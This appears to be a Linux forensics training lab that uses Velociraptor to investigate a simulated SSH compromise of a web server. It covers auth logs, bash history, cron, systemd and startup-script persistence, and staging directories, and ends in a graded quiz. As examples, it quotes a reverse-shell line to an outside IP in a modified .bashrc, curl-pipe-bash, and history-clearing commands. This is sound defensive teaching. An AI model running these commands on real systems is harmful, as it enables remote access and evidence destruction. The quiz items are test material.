What You'll Learn
- Collect Linux forensic artifacts using Velociraptor's artifact framework
- Analyze auth.log entries to identify unauthorized SSH access and lateral movement
- Reconstruct attacker commands from bash_history and process execution logs
- Identify persistence mechanisms in cron jobs, systemd services, and startup scripts
- Correlate filesystem timestamps in /tmp and other staging directories to build an attack narrative
Lab Overview
| Detail | Value |
|---|---|
| Lab Profile | lab-velociraptor |
| Containers | Velociraptor Server, Velociraptor Client (Linux) |
| Estimated Time | 55–65 minutes |
| Difficulty | Advanced |
| Browser Access | Velociraptor Web UI |
| Pre-Loaded Data | Planted forensic artifacts simulating a real Linux compromise |
| Deliverable | Linux forensic investigation report documenting attacker TTPs |
Why Linux Forensics Matters. Over 90% of internet-facing servers run Linux. When an attacker compromises a Linux host, they leave traces across auth logs, shell history, scheduled tasks, and the filesystem. Knowing exactly where to look — and how to collect those artifacts at scale — is what separates a forensic investigator from someone just reading log files.
The Scenario
Your SOC received an alert: the linux-web-01 server made an outbound connection to a known C2 IP address at 03:17 UTC. The connection was blocked by the firewall, but the server may already be compromised. Your task is to perform a full forensic investigation using Velociraptor to determine:
- How did the attacker get in? (Initial access vector)
- What did they do? (Post-exploitation activity)
- How are they persisting? (Persistence mechanisms)
- What tools did they use? (Attacker tooling)
- What's the blast radius? (Data accessed or exfiltrated)
The Velociraptor client running on this endpoint has pre-planted artifacts that simulate a realistic compromise — you'll collect and analyze them just as you would on a real investigation.
Part 1: Authentication Log Analysis
Collect auth.log Artifacts
In the Velociraptor web UI, navigate to the client endpoint and launch a new collection. Search for and select the artifact:
Linux.Sys.AuthLogs
This artifact parses /var/log/auth.log and extracts structured authentication events including timestamps, usernames, source IPs, and authentication outcomes.
Analyze the results and answer:
- How many failed SSH login attempts are present?
- What usernames were targeted (root, admin, deploy, etc.)?
- What source IP addresses appear in the failed attempts?
- At what time did the first SUCCESSFUL login from a suspicious IP occur?
- What user account was compromised?
Correlate Timestamps. Sort auth.log entries chronologically. Look for the pattern: many failed attempts → sudden success. The time gap between the last failure and first success tells you whether this was a brute-force success or credential stuffing (instant success = stolen credentials, gradual = brute force).
Identify Lateral Movement
After initial access, attackers often try to move to other accounts. Look for:
su - root
sudo -i
ssh user@internal-host
Document every account transition in your investigation notes.
Part 2: Command History Reconstruction
Collect bash_history
Launch a collection for:
Linux.Forensics.BashHistory
This artifact collects .bash_history files from all user home directories, providing a record of commands the attacker executed.
Analyze the history and reconstruct the attack timeline:
- Reconnaissance commands — What did the attacker run first? (
whoami,id,uname -a,ifconfig,cat /etc/passwd) - Tool download commands — Did they use
wget,curl, orscpto pull in tools? - Privilege escalation commands —
sudo,su, kernel exploit execution - Data collection commands —
find,cat,tar,zipon sensitive files - Cleanup commands —
history -c,rm -rf,shred, log tampering
History Gaps. If bash_history shows a gap or has been truncated, that itself is evidence of anti-forensics. An attacker who runs history -c or export HISTFILE=/dev/null is actively trying to cover their tracks. Document the gap and note the last command before it.
Part 3: Persistence Mechanism Discovery
Cron Jobs
Collect cron artifacts:
Linux.Sys.Crontab
Examine all cron entries across /etc/crontab, /etc/cron.d/, and per-user crontabs in /var/spool/cron/crontabs/.
Look for suspicious indicators:
- Jobs that run at unusual intervals (every minute, every 5 minutes)
- Jobs that execute scripts from
/tmp,/dev/shm, or hidden directories - Jobs that download and execute remote content (
curl | bash) - Jobs created or modified after the initial compromise timestamp
Systemd Services
Collect systemd artifacts:
Linux.Sys.Services
Examine all service unit files, especially any created in /etc/systemd/system/ after the compromise timestamp.
Red flags in systemd services:
- Service names mimicking legitimate services (e.g.,
system-update.service,cron-helper.service) ExecStartpointing to scripts in/tmpor hidden directoriesRestart=alwaysensuring the backdoor survives crashes- Services enabled but not part of the base OS package
Startup Scripts
Check for modifications to shell initialization files:
Linux.Forensics.BashRC
Attackers often add reverse shells or tool downloads to .bashrc, .profile, or /etc/profile.d/ scripts so they execute on every login.
Part 4: Filesystem Artifact Analysis
/tmp and Staging Directories
Collect filesystem artifacts:
Linux.Search.FileFinder
Configure the artifact to search /tmp, /dev/shm, /var/tmp, and any hidden directories under /home/ for recently modified files.
Document every artifact found:
FILESYSTEM ARTIFACTS
═══════════════════════════════
Path: /tmp/.hidden/
Files Found:
- reverse.sh (chmod +x, created [timestamp])
- nmap_scan.txt (output from internal recon)
- data_dump.tar.gz (compressed sensitive files)
- .ssh_key (stolen private key)
Path: /dev/shm/
Files Found:
- payload.elf (compiled binary, likely exploit or RAT)
File Timeline Analysis
For each suspicious file, collect MAC timestamps (Modified, Accessed, Created):
Linux.Forensics.Timeline
Sort all findings chronologically. The timeline should show the progression: access → recon → tool staging → escalation → persistence → data collection.
Part 5: Build Your Investigation Report
Compile all findings into a structured forensic investigation report:
LINUX FORENSIC INVESTIGATION REPORT
═══════════════════════════════════════
Endpoint: linux-web-01
Investigation Date: [today's date]
Investigator: [your name]
Tool Used: Velociraptor
1. INITIAL ACCESS
Method: [SSH brute force / credential stuffing / exploit]
Source IP: [attacker IP]
Timestamp: [first successful auth]
Account Compromised: [username]
2. POST-EXPLOITATION ACTIVITY
Commands Executed: [list from bash_history]
Tools Downloaded: [list with source URLs]
Privilege Escalation: [method and timestamp]
3. PERSISTENCE MECHANISMS
Cron Jobs: [suspicious entries with paths]
Systemd Services: [backdoor service names and configs]
Shell Scripts: [modified rc files]
4. STAGING & TOOLING
Staging Directory: [path]
Tools Found: [list with hashes]
Data Collected: [what was targeted]
5. TIMELINE SUMMARY
[HH:MM] - Initial brute force begins
[HH:MM] - Successful authentication
[HH:MM] - Reconnaissance commands
[HH:MM] - Tool download
[HH:MM] - Privilege escalation
[HH:MM] - Persistence installed
[HH:MM] - Data collection
[HH:MM] - C2 connection attempted (blocked)
6. RECOMMENDATIONS
- [Immediate containment actions]
- [Evidence preservation steps]
- [Remediation priorities]
Deliverable Checklist
Before completing the lab, ensure you have:
- Auth.log Analysis — Failed/successful login timeline with IPs, users, and timestamps
- Command Reconstruction — Full attacker command sequence from bash_history
- Persistence Inventory — All cron jobs, systemd services, and modified startup scripts identified
- Filesystem Artifacts — Files in /tmp, /dev/shm, and hidden directories cataloged with MAC timestamps
- Investigation Report — Complete structured report with all 6 sections filled
Key Takeaways
- Linux forensic investigations follow a systematic pattern: authentication → commands → persistence → filesystem → timeline
- auth.log is the first artifact to check — it reveals initial access method, timing, and attacker IP
- bash_history provides a near-complete record of attacker activity unless they actively cleared it
- Persistence in Linux typically uses cron, systemd, or shell initialization files — check all three
- /tmp, /dev/shm, and hidden directories are the most common staging areas for attacker tools
- Velociraptor's artifact framework lets you collect all of these remotely without logging into the compromised host
What's Next
In Lab 9.5 — Memory Forensics, you'll go beyond disk artifacts to analyze what's happening in live memory. Process injection, hidden network connections, and runtime-only malware leave no traces on disk — only in memory.
Lab Challenge: Linux Forensic Investigation
10 questions · 70% to pass
You collect Linux.Sys.AuthLogs from the compromised endpoint. You see 247 failed SSH attempts from 185.220.101.42 followed by a successful login as 'deploy' at 03:12 UTC. What does this pattern indicate?
In the bash_history artifact, you find the commands: whoami, id, uname -a, cat /etc/passwd, ifconfig. What phase of the attack do these represent?
You find a cron entry: '*/5 * * * * /tmp/.hidden/beacon.sh'. What makes this suspicious? Select the BEST answer.
You discover a systemd service file at /etc/systemd/system/system-update.service with ExecStart=/tmp/.tools/updater and Restart=always. Why is Restart=always forensically significant?
Which Velociraptor artifact would you use FIRST to determine the initial access vector on a potentially compromised Linux server?
In bash_history, you find a gap: commands stop at 03:25 UTC and resume at 04:10 UTC with completely different activity patterns. What is the most likely explanation?
You find the file /tmp/.hidden/data_dump.tar.gz created at 03:45 UTC. What Velociraptor artifact gives you the most useful forensic metadata about this file?
You find a modified .bashrc file containing the line: bash -i >& /dev/tcp/185.220.101.42/4445 0>&1. What type of persistence is this?
Your investigation finds three persistence mechanisms: a cron job (*/5 * * * *), a systemd service (Restart=always), and a modified .bashrc. In what order should remediation remove them?
After completing your investigation, which finding would you classify as the HIGHEST priority for your incident report's executive summary?
0/10 answered